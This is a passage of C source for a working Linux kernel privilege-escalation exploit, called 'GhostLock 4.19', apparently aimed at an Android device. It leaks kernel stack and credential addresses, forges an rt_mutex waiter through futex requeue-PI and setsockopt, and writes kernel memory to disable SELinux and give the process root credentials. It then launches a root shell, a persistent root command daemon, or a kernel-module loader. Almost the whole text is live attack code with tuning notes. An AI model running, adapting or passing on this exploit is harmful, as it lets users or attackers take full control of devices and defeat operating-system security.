    g_t1_done = 1;
    printf("[T1] lock M1 -> %d %s\n", g_t1_ret, g_t1_ret ? strerror(-g_t1_ret) : "ok");
    __sync_synchronize();
    return NULL;
}

static void *t2_thr(void *a)
{
    (void)a;
    g_tid_t2 = tid_of();
    waitv(&g_t2_go);
    lock_pi(&g_fs->M1);
    g_t2_owns_m1 = 1;
    __sync_synchronize();
    ms(20);
    /* timed on purpose: this waiter has to leave W's pi_waiters before the
     * trigger, otherwise rt_mutex_adjust_prio_chain() sets requeue = false
     * and never calls rt_mutex_dequeue(). */
    g_t2_ret = lock_pi_to(&g_fs->M2, T2_TIMEOUT_MS);
    g_t2_done = 1;
    printf("[T2] lock M2 -> %d %s\n", g_t2_ret, g_t2_ret ? strerror(-g_t2_ret) : "ok");
    __sync_synchronize();
    return NULL;
}

static void stamp_waiter(void)
{
    unsigned char buf[0x108];
    int r;

    memset(buf, 0, sizeof(buf));
    *(uint16_t *)(buf + 0x08) = AF_INET;    /* gsr_group family  */
    *(uint16_t *)(buf + 0x88) = AF_INET;    /* gsr_source family */

    *(uint64_t *)(buf + STAMP_OFF(W_PC))    = g_pc;
    *(uint64_t *)(buf + STAMP_OFF(W_RIGHT)) = g_right;
    *(uint64_t *)(buf + STAMP_OFF(W_LEFT))  = 0;
    *(uint64_t *)(buf + STAMP_OFF(W_TASK))  = g_task;
    *(uint64_t *)(buf + STAMP_OFF(W_LOCK))  = g_lock;
    *(uint32_t *)(buf + STAMP_OFF(W_PRIO))  = 111;
    *(uint64_t *)(buf + STAMP_OFF(W_DLINE)) = 0;

    errno = 0;
    r = setsockopt(g_sock, IPPROTO_IP, MCAST_BLOCK_SOURCE, buf, sizeof(buf));
    g_stamp_ret = (r < 0) ? -errno : r;
}

static volatile int g_w_spin_go, g_w_spin_done;
static volatile uint64_t g_stack_base;

/* W samples *itself* while looping a syscall, so the recorded sp values are
 * kernel-stack addresses of this thread.  The stack block is picked by
 * MAJORITY VOTE over (sp & ~0x3fff), not by the minimum: PERF_SAMPLE_REGS_INTR
 * hands out get_irq_regs(), and a perf hrtimer firing in softirq context can
 * surface a STALE pt_regs of another task - a kworker/idle stack in the lowest
 * vmalloc range (measured 0xffffff8008010000 on thyme, vs W's real stack deep
 * in the vmalloc area).  Those stragglers are rare, so the real stack wins the
 * vote; the min picked them and poisoned every leak-derived VA. */
static void leak_own_stack(void)
{
    enum { NS = 8192 };
    struct prec *rs = malloc(NS * sizeof(*rs));
    uint64_t blocks[64];
    int bcnt[64];
    int n, i, k, nb = 0, ok = 0, best = 0;
    uint64_t lo = ~0ULL, maj = 0;

    if (!rs) return;
    n = collect(rs, NS, 0);
    for (i = 0; i < n; i++) {
        uint64_t sp = rs[i].sp, b;
        if ((sp >> 40) != 0xffffffULL) continue;
        if (sp < lo) lo = sp;
        ok++;
        b = sp & ~0x3fffULL;
        for (k = 0; k < nb; k++) if (blocks[k] == b) break;
        if (k == nb) { if (nb >= 64) continue; blocks[nb] = b; bcnt[nb] = 0; nb++; }
        if (++bcnt[k] > best) { best = bcnt[k]; maj = b; }
    }
    free(rs);
    if (ok < 16 || !maj) {
        printf("[!] W stack leak failed (n=%d ok=%d)\n", n, ok);
        return;
    }
    g_stack_base = maj;
    printf("[+] W stack: n=%d ok=%d lo_sp=0x%llx base=0x%llx (votes=%d/%d)\n",
           n, ok, (unsigned long long)lo, (unsigned long long)g_stack_base,
           best, ok);
}

static void *w_thr(void *a)
{
    /* the stage's own fset: a later stage reassigns g_fs, and this W must keep
     * cleaning its own stage's words */
    struct fset *fs = g_fs;
    int r;
    (void)a;
    g_tid_w = tid_of();
    leak_own_stack();
    __sync_synchronize();
    lock_pi(&fs->Bf);            /* Bf stays owned by W: trigger target */
    g_w_owns_bf = 1;
    __sync_synchronize();
    lock_pi(&fs->M2);            /* M2 stays owned by W: stage1 depth3 */
    g_w_owns_m2 = 1;
    __sync_synchronize();

    waitv(&g_w_queued);
    r = fut(&fs->L2, FUTEX_WAIT_REQUEUE_PI | FUTEX_PRIVATE_FLAG, 0, NULL, &fs->L, 0);
    g_w_ret = r;
    g_w_returned = 1;
    __sync_synchronize();

    /* no syscall between the requeue and the deliberate stack write */
    waitv(&g_stamp_go);
    stamp_waiter();
    g_w_stamped = 1;
    __sync_synchronize();

    /* waits for stage_cleanup()'s request, then drops this task's dangling
     * pi_blocked_on - after the trigger window, which needs the forged node
     * still in place */
    {
        int seen = 0;
        for (;;) {
            if (fs->cl_req != seen) {
                seen = fs->cl_req;
                dangle_drop(fs);
            }
        }
    }
    return NULL;
}

static volatile unsigned char *g_prog;

/* Syscall-free progress channel: main only stores into a MAP_SHARED page, the
 * watcher thread does the actual file I/O, so a panic still leaves the last
 * reached step behind. */
static void *prog_thr(void *a)
{
    unsigned char last = 0;
    char b[64];
    (void)a;
    if (!g_prog) return NULL;
    for (;;) {
        unsigned char c = g_prog[0];
        if (c != last) {
            last = c;
            snprintf(b, sizeof(b), "prog=%c%c", c, (char)0);
            mark(b);
        }
        ms(50);
    }
    return NULL;
}

static void prog_open(void)
{
    int fd = open("/data/local/tmp/prog", O_RDWR | O_CREAT, 0644);
    if (fd < 0) { printf("[!] prog open errno=%d\n", errno); return; }
    if (ftruncate(fd, 4096) < 0) { printf("[!] prog truncate errno=%d\n", errno); }
    g_prog = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
    if (g_prog == MAP_FAILED) { g_prog = NULL; printf("[!] prog mmap errno=%d\n", errno); }
    if (g_prog) g_prog[0] = 0;
    close(fd);
}

static volatile int g_logger_stop;

static void *logger_thr(void *a)
{
    char b[64];
    int i;
    (void)a;
    for (i = 0; i < 40 && !g_logger_stop; i++) {
        ms(200);
        snprintf(b, sizeof(b), "tick%02d", i);
        mark(b);
    }
    return NULL;
}

static void *hb_thr(void *a)
{
    (void)a;
    g_tid_hb = tid_of();
    waitv(&g_hb_go);
    g_hb_started = 1;
    __sync_synchronize();
    g_hb_ret = lock_pi(&g_fs->Bf);     /* FULL chainwalk consumer */
    g_hb_done = 1;
    __sync_synchronize();
    return NULL;
}

/* ---------------- main ---------------------------------------------- */

/* Read /sys/fs/selinux/enforce (world readable) so the exploit can verify for
 * itself whether the selinux_state write actually landed.  A stage has been
 * observed to complete without the rb_erase_cached write taking effect, so the
 * three writes are verified and retried instead of assumed. */
static int selinux_enforcing(void)
{
    char b[8];
    int fd = open("/sys/fs/selinux/enforce", O_RDONLY);
    ssize_t n;

    if (fd < 0) return -1;
    n = read(fd, b, sizeof(b) - 1);
    close(fd);
    if (n <= 0) return -1;
    return (b[0] == '0') ? 0 : 1;
}

static int run_stage(uint64_t pc, uint64_t right);

/* One full GhostLock stage: create the dangling waiter and trigger the
 * rb_erase_cached write  *(right) = pc  (plus the collateral *(pc+8) = right).
 * Returns 0 on success.  W is left spinning so its stack stays mapped. */
static int run_stage(uint64_t pc, uint64_t right)
{
    /* Each stage gets its own futex words: a stage leaves its H_B blocked on
     * its Bf forever, and that lingering waiter sits in that stage's W's
     * pi_waiters tree.  Reusing the same addresses across stages would put
     * the old waiter into the next stage's trigger lock and break the requeue
     * condition (top_waiter != task_top_pi_waiter), so no write would happen. */
    static struct fset fss[32];
    static int nfs;
    pthread_t thH, thT1, thT2, thW, thHB;
    int r1, r2, i;

    if (nfs >= 32) { printf("[!] stage: out of futex slots\n"); return 1; }
    g_fs = &fss[nfs++];
    g_fs->L = g_fs->L2 = g_fs->M1 = g_fs->M2 = g_fs->Bf = g_fs->K = 0;
    g_fs->cl_req = g_fs->cl_done = g_fs->cl_ret = 0;

    g_pc = pc;
    g_right = right;

    g_h_locked = g_h_unlock = 0;
    g_t1_go = g_t1_owns_l = g_t1_blocked_m1 = 0; g_t1_ret = g_t1_done = 0;
    g_t2_go = g_t2_owns_m1 = g_t2_done = 0; g_t2_ret = 0;
    g_w_owns_bf = g_w_owns_m2 = g_w_queued = g_w_returned = 0; g_w_ret = 0;
    g_stamp_go = g_w_stamped = 0; g_stamp_ret = 0;
    g_hb_go = g_hb_started = g_hb_ret = g_hb_done = 0;
    g_stack_base = 0;

    pthread_create(&thW, NULL, w_thr, NULL);
    for (i = 0; i < 3000 && !g_stack_base; i++) ms(1);
    if (!g_stack_base) { printf("[!] stage: W stack leak failed\n"); return 1; }
    g_fake_lock = g_stack_base + 0x100;
    g_zero_val  = g_stack_base + 0x200;
    g_zero_tgt  = g_stack_base + 0x208;
    g_lock = g_fake_lock;

    pthread_create(&thH, NULL, h_thr, NULL);
    pthread_create(&thT1, NULL, t1_thr, NULL);
    pthread_create(&thT2, NULL, t2_thr, NULL);
    pthread_create(&thHB, NULL, hb_thr, NULL);

    waitv(&g_h_locked);
    waitv(&g_w_owns_bf);
    waitv(&g_w_owns_m2);

    g_t2_go = 1; __sync_synchronize();
    waitv(&g_t2_owns_m1);
    ms(120);

    g_t1_go = 1; __sync_synchronize();
    ms(150);
    g_h_unlock = 1; __sync_synchronize();
    if (!waitms(&g_t1_owns_l, 3000)) { printf("[!] stage: T1 did not take L\n"); return 1; }
    ms(150);
    waitv(&g_t1_blocked_m1);
    ms(250);

    g_w_queued = 1; __sync_synchronize();
    ms(250);
    r1 = cmp_requeue_pi(&g_fs->L2, &g_fs->L);
    /* every exit after the dance drops this stage's dangling pi_blocked_on
     * (stage_cleanup is a no-op while W is still inside the wait) */
    if (r1 != -EDEADLK) { printf("[!] stage: requeue#1=%d\n", r1); ms(200); stage_cleanup(g_fs); return 1; }

    g_fs->L = 0; __sync_synchronize();
    ms(50);
    r2 = cmp_requeue_pi(&g_fs->L2, &g_fs->L);
    (void)r2;
    if (!waitms(&g_w_returned, 3000)) { printf("[!] stage: W did not return\n"); stage_cleanup(g_fs); return 2; }

    if (!waitms(&g_t2_done, T2_TIMEOUT_MS + 3000)) { printf("[!] stage: T2 timeout\n"); stage_cleanup(g_fs); return 2; }

    g_stamp_go = 1; __sync_synchronize();
    if (!waitms(&g_w_stamped, 3000)) { printf("[!] stage: W did not stamp\n"); stage_cleanup(g_fs); return 2; }

    {
        int r = setpriority(PRIO_PROCESS, (id_t)g_tid_hb, -10);
        (void)r;
    }

    mark("pre-trigger");
    ms(30);   /* let the log writer flush: the marks around the trigger are
               * the only death-window evidence */
    g_hb_go = 1; __sync_synchronize();
    mark("post-go");
    /* H_B blocks in futex_lock_pi(Bf) forever (Bf stays owned by W); the
     * rb_erase_cached write happens synchronously inside that call as soon
     * as H_B is scheduled, well within this window.  Do not join H_B. */
    ms(300);
    /* the write is out and the trigger window is over: drop the stale
     * pi_blocked_on so this stage leaves nothing the kernel can walk later */
    stage_cleanup(g_fs);
    return 0;
}

/* ---------------- main ---------------------------------------------- */

static void show_ids(const char *tag)
{
    printf("[%s] uid=%d euid=%d gid=%d egid=%d\n", tag,
           (int)getuid(), (int)geteuid(), (int)getgid(), (int)getegid());
}

int main(int argc, char **argv)
{
    pthread_t thH, thT1, thT2, thW, thHB;
    int r1, r2, i;

    setvbuf(stdout, NULL, _IONBF, 0);
    {
        int ofd = open("/data/local/tmp/gl12.out", O_WRONLY | O_CREAT | O_TRUNC, 0644);
        if (ofd >= 0) { dup2(ofd, 1); dup2(ofd, 2); if (ofd > 2) close(ofd); }
    }
    if (argc > 1 && !strcmp(argv[1], "probe")) g_probe = 1;
    else if (argc > 1 && !strcmp(argv[1], "mid")) g_probe = 2;
    else if (argc > 1 && !strcmp(argv[1], "mid2")) g_probe = 3;
    else if (argc > 1 && !strcmp(argv[1], "mid3")) g_probe = 4;
    else if (argc > 1 && !strcmp(argv[1], "leak")) g_probe = 6;
    else if (argc > 1 && !strcmp(argv[1], "zero")) g_probe = 9;
    else if (argc > 1 && !strcmp(argv[1], "collat")) g_probe = 10;
    else if (argc > 1 && !strcmp(argv[1], "readprobe")) g_probe = 8;
    else if (argc > 1 && !strcmp(argv[1], "mapcred")) g_probe = 11;
    else if (argc > 1 && !strcmp(argv[1], "perfz")) g_probe = 12;
    else if (argc > 1 && !strcmp(argv[1], "erase")) g_probe = 13;
    else if (argc > 1 && !strcmp(argv[1], "comm")) g_probe = 16;
    else if (argc > 1 && !strcmp(argv[1], "noop")) g_probe = 15;
    else if (argc > 1 && !strcmp(argv[1], "spincred")) g_probe = 17;
    else if (argc > 1 && !strcmp(argv[1], "realcred")) g_probe = 18;
    else if (argc > 1 && !strcmp(argv[1], "spinonly")) g_probe = 19;
    else if (argc > 1 && !strcmp(argv[1], "ladder")) g_probe = 22;
    else if (argc > 1 && !strcmp(argv[1], "execsh")) g_probe = 23;
    else if (argc > 1 && !strcmp(argv[1], "sudo")) g_probe = 24;
    else if (argc > 1 && !strcmp(argv[1], "forkexec")) g_probe = 25;
    else if (argc > 1 && !strcmp(argv[1], "permissive")) g_probe = 26;
    else if (argc > 1 && !strcmp(argv[1], "seldel")) g_probe = 27;
    else if (argc > 1 && !strcmp(argv[1], "root")) g_probe = 28;
    else if (argc > 1 && !strcmp(argv[1], "rootsh")) g_probe = 29;
    else if (argc > 1 && !strcmp(argv[1], "rootd")) g_probe = 30;
    else if (argc > 1 && !strcmp(argv[1], "rootd3")) g_probe = 31;
    else if (argc > 1 && !strcmp(argv[1], "insmod")) g_probe = 51;
    else if (argc > 1 && !strcmp(argv[1], "sukisu")) g_probe = 52;
    /* mode 51: "insmod [ko]"  - load a module in this process, then exit
     * mode 52: "sukisu <ko> <setup.sh> [apk]" - load, then run a uid 0 setup
     *          script.  The module gets kln=<kallsyms_lookup_name> (not
     *          exported on 4.19) and level=3 (late load). */
    if (g_probe == 51 || g_probe == 52) {
        g_ko_path = (argc > 2) ? argv[2] : (g_probe == 52 ?
                    "/data/local/tmp/kernelsu-thyme.ko" : "/data/local/tmp/hello.ko");
        if (g_probe == 52 && argc > 3) g_sukisu_script = argv[3];
        if (g_probe == 52 && argc > 4) g_apk_path = argv[4];
        if (read_file_all(g_ko_path, &g_ko_buf, &g_ko_len)) {
            printf("[!] cannot stage %s: %s\n", g_ko_path, strerror(errno));
            mark("insmod-stage-failed");
            return 1;
        }
        printf("[insmod] staged %s (%zu bytes)\n", g_ko_path, g_ko_len);
        mark("insmod-staged");
    }
    printf("=== gl12: GhostLock 4.19 -> mode %d ===\n", g_probe);
    show_ids("start");

    g_sock = socket(AF_INET, SOCK_DGRAM, 0);
    if (g_sock < 0) { perror("socket"); return 1; }

    mark("leak-start");
    if (!leak_slide()) return 1;
    if (!leak_current_v3()) {
        if (!leak_current_v2()) { if (!leak_current()) return 1; }
    }
    mark("leak-done");
    {
        char b[160];
        snprintf(b, sizeof(b), "run mode=%d cur=0x%llx text=0x%llx",
                 g_probe, (unsigned long long)g_cur, (unsigned long long)g_text);
        mark(b);
    }
    if (g_probe == 6) {
        printf("[leak] cross-check: v2 again\n");
        if (leak_current_v2()) printf("[leak] v2#2 = 0x%llx\n", (unsigned long long)g_cur);
        printf("[leak] cross-check: v1 (sched_setscheduler x19)\n");
        {
            uint64_t first = g_cur;
            if (leak_current()) printf("[leak] v1 = 0x%llx (v2 was 0x%llx)\n",
                                       (unsigned long long)g_cur, (unsigned long long)first);
        }
        return 0;
    }

    /* waiter->task is only consumed by wake_up_process() in the
     * "lock has no owner" exit of the chain; init_task is a valid
     * task_struct that is already TASK_RUNNING, so the wake is a no-op. */
    g_task = g_text + OFF_INIT_TASK;
    if (g_probe == 15) {
        g_my_cred = leak_cred();
        if (!g_my_cred) { printf("[!] cred leak failed\n"); return 1; }
    }

    if (g_probe == 28 || g_probe == 29 || g_probe == 30 || g_probe == 31 ||
        g_probe == 51 || g_probe == 52) {
        /* Three writes in one process, each in its own stage:
         *   r1: *(selinux_state)      = &init_stack -> enforcing = 0
         *   r2: *(cur->cred)          = &init_cred  -> euid 0 (geteuid proves it)
         *   r3: *(cur->real_cred)     = &init_cred  -> uid 0
         * Only ->cred is written by r2, so /proc status (real_cred) still shows
         * 2000 even when the swap landed - geteuid() is the real signal.
         * Afterwards fork(): copy_creds() prepares a fresh cred object from
         * current->cred for a non-thread child, so the child has
         * cred == real_cred with uid 0 and can commit_creds/setresuid/exec
         * without tripping BUG_ON(cred != real_cred). */
        {
            int attempt, ok = 0;
            for (attempt = 0; attempt < 3 && !ok; attempt++) {
                mark("r1-start");
                if (run_stage(g_text + OFF_INIT_STACK, g_text + OFF_SELINUX_STATE)) {
                    mark("r1-failed"); return 3;
                }
                mark("r1-done");
                if (selinux_enforcing() == 0) {
                    ok = 1;
                    mark("r1-verified");
                } else {
                    mark("r1-noeffect-retry");
                }
            }
            if (!ok) { mark("r1-give-up"); return 3; }
        }
        {
            int attempt, ok = 0;
            for (attempt = 0; attempt < 3 && !ok; attempt++) {
                if (run_stage(g_text + OFF_INIT_CRED, g_cur + TASK_CRED)) {
                    mark("r2-failed"); return 3;
                }
                mark("r2-done");
                if (geteuid() == 0) { ok = 1; mark("r2-verified"); }
                else mark("r2-noeffect-retry");
            }
            show_ids("after-r2(geteuid must be 0)");
            if (!ok) { mark("r2-give-up"); return 4; }
        }
        if (g_probe == 31) {
            int attempt, ok = 0;
            for (attempt = 0; attempt < 3 && !ok; attempt++) {
                if (run_stage(g_text + OFF_INIT_CRED, g_cur + 0x7e0)) {
                    mark("r3-failed"); return 3;
                }
                mark("r3-done");
                if (getuid() == 0) { ok = 1; mark("r3-verified"); }
                else mark("r3-noeffect-retry");
            }
            if (!ok) { mark("r3-give-up"); return 3; }
            show_ids("after-r3");
        }
        {
            long pid = syscall(__NR_clone, SIGCHLD, 0, 0, 0, 0);
            if (pid == 0) {
                if (g_probe == 51 || g_probe == 52) {
                    char params[96] = "";
                    char b[96];
                    long ir, sp;
                    int ie, st = 0;

                    /* Previous boot's ramoops records first: a panic inside
                     * init_module() reboots before anything can be read back. */
                    dump_pstore("/data/local/tmp/pstore");
                    /* MIUI blocks adb install for the shell uid but not for
                     * uid 0; a throwaway child keeps the install off this
                     * process while the module comes up below. */
                    if (g_probe == 52 && g_apk_path) {
                        sp = syscall(__NR_clone, SIGCHLD, 0, 0, 0, 0);
                        if (sp == 0) {
                            execl("/system/bin/pm", "pm", "install", "-r", g_apk_path, (char *)NULL);
                            _exit(127);
                        }
                        if (sp > 0) {
                            syscall(__NR_wait4, sp, &st, 0, 0);
                            printf("[apk] pm install -r %s -> st=%d\n", g_apk_path, st);
                            fflush(stdout);
                            ms(2000);   /* let PackageManagerService flush packages.list */
                        }
                    }
                    if (g_probe == 52)
                        snprintf(params, sizeof(params), "kln=0x%llx level=3",
                                 (unsigned long long)(g_text + OFF_KALLSYMS_LOOKUP_NAME));
                    /* only readable while the sysctl is off; see klog_save() */
                    dmesg_unrestrict();
                    ir = syscall(__NR_init_module, g_ko_buf, (unsigned long)g_ko_len, params);
                    ie = errno;
                    snprintf(b, sizeof(b), "insmod ret=%ld eno=%d", ir, ir ? ie : 0);
                    mark(b);
                    printf("[insmod] init_module = %ld (%s)\n", ir, ir ? strerror(ie) : "ok");
                    fflush(stdout);
                    klog_save("/data/local/tmp/kmsg-insmod.txt", "insmod");
                    if (ir != 0) {
                        mark(g_probe == 52 ? "sukisu-load-failed" : "insmod-failed");
                        _exit(5);
                    }
                    if (g_probe == 52 && g_sukisu_script) {
                        /* This child inherited init_cred, whose SID is the kernel
                         * domain, and system services (pm/am/cmd) are not
                         * reachable from there.  r1 left SELinux permissive, so
                         * the module's own domain can simply be entered; it
                         * exists because init_module() loaded the policy above.
                         *
                         * The script is forked rather than exec'd: init_module()
                         * restored enforcing, so this process (kernel domain) can
                         * no longer open /data/local/tmp/gl12.log, and the
                         * completion mark has to be written after the script by
                         * the one process that is still in the module's
                         * permissive domain.  An exec would replace it. */
                        int cf, w, st2 = 0;
                        long sp2;

                        cf = open("/proc/self/attr/current", O_WRONLY);
                        if (cf >= 0) {
                            w = write(cf, "u:r:ksu:s0", 11);
                            snprintf(b, sizeof(b), "ctx-ksu-%s", w == 11 ? "ok" : "ep");
                            mark(b);
                            close(cf);
                        } else {
                            mark("ctx-ksu-open-ep");
                        }
                        fflush(stdout);
                        sp2 = syscall(__NR_clone, SIGCHLD, 0, 0, 0, 0);
                        if (sp2 == 0) {
                            execl("/system/bin/sh", "sh", g_sukisu_script, (char *)NULL);
                            _exit(127);
                        }
                        if (sp2 > 0) syscall(__NR_wait4, sp2, &st2, 0, 0);
                        snprintf(b, sizeof(b), "sukisu-script st=%d", st2);
                        mark(b);
                        mark((st2 & 0xff) == 0 ? "sukisu-done" : "sukisu-failed");
                        fflush(stdout);
                        _exit((st2 & 0xff) == 0 ? 0 : 5);
                    }
                    _exit(0);
                }
                static char *const ep[] = { "PATH=/sbin:/system/sbin:/system/bin:/system/xbin", NULL };
                char *av28[] = { "sh", "-c",
                    "id; echo context=$(cat /proc/self/attr/current); "
                    "grep -E '^(Uid|Gid|CapEff)' /proc/self/status; getenforce; "
                    "touch /data/local/tmp/rootproof && chown 0:0 /data/local/tmp/rootproof && "
                    "ls -l /data/local/tmp/rootproof", NULL };
                char *av30[] = { "sh", "-c",
                    "while :; do echo $$ > /data/local/tmp/rootd.pid; "
                    "if [ -f /data/local/tmp/rootcmd.sh ]; then "
                    "mv /data/local/tmp/rootcmd.sh /data/local/tmp/rootcmd.run; "
                    "sh /data/local/tmp/rootcmd.run > /data/local/tmp/rootout 2>&1; fi; "
                    "sleep 1; done", NULL };
                char *av29[] = { "sh", "-c",
                    "id; echo context=$(cat /proc/self/attr/current); "
                    "grep -E '^(Uid|Gid|CapEff)' /proc/self/status; getenforce; "
                    "touch /data/local/tmp/rootproof && chown 0:0 /data/local/tmp/rootproof && "
                    "ls -l /data/local/tmp/rootproof; "
                    "echo '=== root shell ==='; exec /system/bin/sh", NULL };
                if (setresgid(0, 0, 0) < 0) printf("[!] child setresgid: %s\n", strerror(errno));
                if (g_probe == 30) {
                    /* detached root command channel: drop a script at
                     * /data/local/tmp/rootcmd.sh, read the root output from
                     * /data/local/tmp/rootout.  Nowhere near the dangling
                     * pi waiters, so it outlives this exploit process. */
                    setsid();
                    if (syscall(__NR_clone, SIGCHLD, 0, 0, 0, 0) == 0) {
                        execve("/system/bin/sh", av30, ep);
                        _exit(1);
                    }
                    _exit(0);
                }
                if (setresuid(0, 0, 0) < 0) printf("[!] child setresuid: %s\n", strerror(errno));
                show_ids("child");
                mark("child-exec");
                fflush(stdout);
                execve("/system/bin/sh", g_probe == 29 ? av29 : av28, ep);
                printf("[!] execve failed: %s\n", strerror(errno));
                _exit(127);
            } else {
                char b[64];
                int st = 0;
                snprintf(b, sizeof(b), "fork-pid=%ld", pid);
                mark(b);
                syscall(__NR_wait4, pid, &st, 0, 0);
                mark("wait4-done");
                printf("[+] root child exited st=%d\n", st);
                fflush(stdout);
                if (g_probe == 51 || g_probe == 52) {
                    /* Best effort only.  init_module() restored enforcing and
                     * this process is in the kernel domain, so /data/local/tmp
                     * is closed to it (avc: denied { search } shell_data_file).
                     * Switching domain would not help: /proc/<pid> was created
                     * while this process was still u:r:shell:s0, and it is that
                     * cached inode label the kernel domain cannot search.  In
                     * mode 52 the child - which is in the module's permissive
                     * domain - writes the completion mark after the script; for
                     * mode 51 run.ps1 reads /proc/modules instead. */
                    mark((st & 0xff) == 0 ? (g_probe == 52 ? "sukisu-done" : "insmod-done")
                                          : (g_probe == 52 ? "sukisu-failed" : "insmod-failed"));
                }
            }
        }
        /* Leave the way mode 28 did: exit normally.  Keeping the process alive
         * with three stage-W threads that still carry dangling pi_blocked_on
         * pointers was what preceded the last two spontaneous reboots.
         * stdout goes to gl12.out, and _exit() does not flush it. */
        fflush(stdout);
        mark("main-exit");
        _exit(0);
    }

    /* W comes up first and only reports its stack; the stage threads must not
     * start before the forged lock address is known, or they race ahead. */
    {
        static struct fset fs;
        g_fs = &fs;
        fs.L = fs.L2 = fs.M1 = fs.M2 = fs.Bf = 0;
    }
    pthread_create(&thW, NULL, w_thr, NULL);

    /* The forged rt_mutex has to live in memory that is certainly zero: an
     * empty waiter tree, owner == NULL and an unlocked wait_lock.  W's own vmap
     * stack gives us such a page once W has told us where its stack is. */
    for (i = 0; i < 3000 && !g_stack_base; i++) ms(1);
    if (g_stack_base) {
        g_fake_lock = g_stack_base + 0x100;
        g_zero_val  = g_stack_base + 0x200;
        g_zero_tgt  = g_stack_base + 0x208;
        printf("[+] fake lock page: 0x%llx (W stack base 0x%llx)\n",
               (unsigned long long)g_fake_lock, (unsigned long long)g_stack_base);
    } else {
        printf("[!] no stack leak, falling back to init_stack page\n");
    }
    {
        uint64_t zlock = g_fake_lock ? g_fake_lock : (g_text + OFF_INIT_STACK + 0x1000);
        uint64_t zval  = g_zero_val  ? g_zero_val  : (g_text + OFF_INIT_STACK + 0x2000);
        uint64_t ztgt  = g_zero_tgt  ? g_zero_tgt  : (g_text + OFF_INIT_STACK + 0x2008);

        g_lock = zlock;                       /* always a dead zero page */
        switch (g_probe) {
        case 1:  g_pc = 0;                    g_right = g_text + OFF_SELINUX_STATE; break;
        case 2:  g_pc = g_text + OFF_INIT_CRED; g_right = ztgt;                   break;
        case 3:  g_pc = zval;                 g_right = g_cur + TASK_CRED;          break;
        case 4:  g_pc = g_text + OFF_INIT_CRED; g_right = g_task + TASK_CRED;         break;
        case 8:  g_pc = g_cur + TASK_CRED - 0x10; g_right = ztgt;                   break;
        case 9:  g_pc = 0;                    g_right = g_text + OFF_PERF_PARANOID; break;
        case 10: g_pc = g_text + OFF_RND_VA_SPACE - 8; g_right = ztgt;                 break;
        case 11: g_pc = g_text + OFF_RND_VA_SPACE;     g_right = g_cur + TASK_CRED;    break;
        case 12: g_pc = g_text + OFF_RND_VA_SPACE;     g_right = g_text + OFF_PERF_PARANOID; break;
        /* observed erase: stamp a parent so that the tie-break write lands on the
         * readable sysctl_perf_event_paranoid, keep the main write in a zero page */
        case 13: g_pc = g_text + OFF_PERF_PARANOID - 8; g_right = ztgt;               break;
        /* same page as cred but harmless field: tie-break write hits comm */
        case 16: g_pc = g_cur + TASK_CRED;             g_right = ztgt;               break;
        /* no-op cred write: the value written back is the credential the task
         * already has, so only the tie-break write (cred+8) changes anything */
        case 15: g_pc = g_my_cred;                     g_right = g_cur + TASK_CRED;  break;
        /* cred swap, but main stays in userspace afterwards: separates "the
         * new cred is broken" from "a syscall path is unhappy with it" */
        case 17: g_pc = g_text + OFF_INIT_CRED;        g_right = g_cur + TASK_CRED;  break;
        /* real_cred first: tells us whether the two cred pointers disagreeing
         * is what breaks, or the value itself */
        case 18: g_pc = g_text + OFF_INIT_CRED;        g_right = g_cur + 0x7e0;     break;
        case 19: g_pc = g_text + OFF_INIT_CRED;        g_right = g_cur + TASK_CRED;  break;
        case 22: g_pc = g_text + OFF_INIT_CRED;        g_right = g_cur + TASK_CRED;  break;
        case 23: g_pc = g_text + OFF_INIT_CRED;        g_right = g_cur + TASK_CRED;  break;
        case 24: g_pc = g_text + OFF_INIT_CRED;        g_right = g_cur + TASK_CRED;  break;
        case 25: g_pc = g_text + OFF_INIT_CRED;        g_right = g_cur + TASK_CRED;  break;
        case 26: g_pc = g_text + OFF_INIT_CRED;        g_right = g_cur + TASK_CRED;  break;
        /* disable SELinux: main write *(selinux_state) = init_stack, whose low
         * 16 bits are 0 so bytes 0 (initialized) and 1 (enforcing) become 0. */
        case 27: g_pc = g_text + OFF_INIT_STACK;       g_right = g_text + OFF_SELINUX_STATE; break;
        case 28: g_pc = g_text + OFF_INIT_CRED;         g_right = g_cur + TASK_CRED;        break;
        default: g_pc = g_text + OFF_INIT_CRED; g_right = g_cur + TASK_CRED;        break;
        }
    }
    printf("[+] pc=0x%llx target=0x%llx fake_lock=0x%llx task=0x%llx\n",
           (unsigned long long)g_pc, (unsigned long long)g_right,
           (unsigned long long)g_lock, (unsigned long long)g_task);
    printf("[+] stamp offsets: pc=0x%x right=0x%x left=0x%x task=0x%x lock=0x%x prio=0x%x\n",
           STAMP_OFF(W_PC), STAMP_OFF(W_RIGHT), STAMP_OFF(W_LEFT),
           STAMP_OFF(W_TASK), STAMP_OFF(W_LOCK), STAMP_OFF(W_PRIO));

    pthread_create(&thH, NULL, h_thr, NULL);
    pthread_create(&thT1, NULL, t1_thr, NULL);
    pthread_create(&thT2, NULL, t2_thr, NULL);

    pthread_create(&thHB, NULL, hb_thr, NULL);

    waitv(&g_h_locked);
    waitv(&g_w_owns_bf);
    waitv(&g_w_owns_m2);

    g_t2_go = 1;
    __sync_synchronize();
    waitv(&g_t2_owns_m1);
    ms(120);

    g_t1_go = 1;
    __sync_synchronize();
    ms(150);
    g_h_unlock = 1;
    __sync_synchronize();
    if (!waitms(&g_t1_owns_l, 3000)) { printf("[!] T1 did not take L\n"); return 1; }
    ms(150);
    waitv(&g_t1_blocked_m1);
    ms(250);
    printf("[+] stage1 ready: T1 owns L, T2 owns M1, W owns M2/Bf\n");

    mark("stage1-ready");

    g_w_queued = 1;
    __sync_synchronize();
    ms(250);
    printf("[dbg] L=%d(0x%x) M1=%d M2=%d Bf=%d tids T1=%d T2=%d W=%d\n",
           g_fs->L, (unsigned)g_fs->L, g_fs->M1, g_fs->M2, g_fs->Bf, g_tid_t1, g_tid_t2, g_tid_w);
    printf("[dbg] state T1=%c T2=%c W=%c  T1_done=%d T1_ret=%d  W_returned=%d W_ret=%d\n",
           state_of(g_tid_t1), state_of(g_tid_t2), state_of(g_tid_w),
           g_t1_done, g_t1_ret, g_w_returned, g_w_ret);
    r1 = cmp_requeue_pi(&g_fs->L2, &g_fs->L);
    printf("[+] requeue#1 = %d (%s)%s\n", r1, r1 ? strerror(-r1) : "ok",
           r1 == -EDEADLK ? "  <<< dangling waiter" : "");
    if (r1 != -EDEADLK) { ms(300); return 1; }

    g_fs->L = 0;
    __sync_synchronize();
    ms(50);
    r2 = cmp_requeue_pi(&g_fs->L2, &g_fs->L);
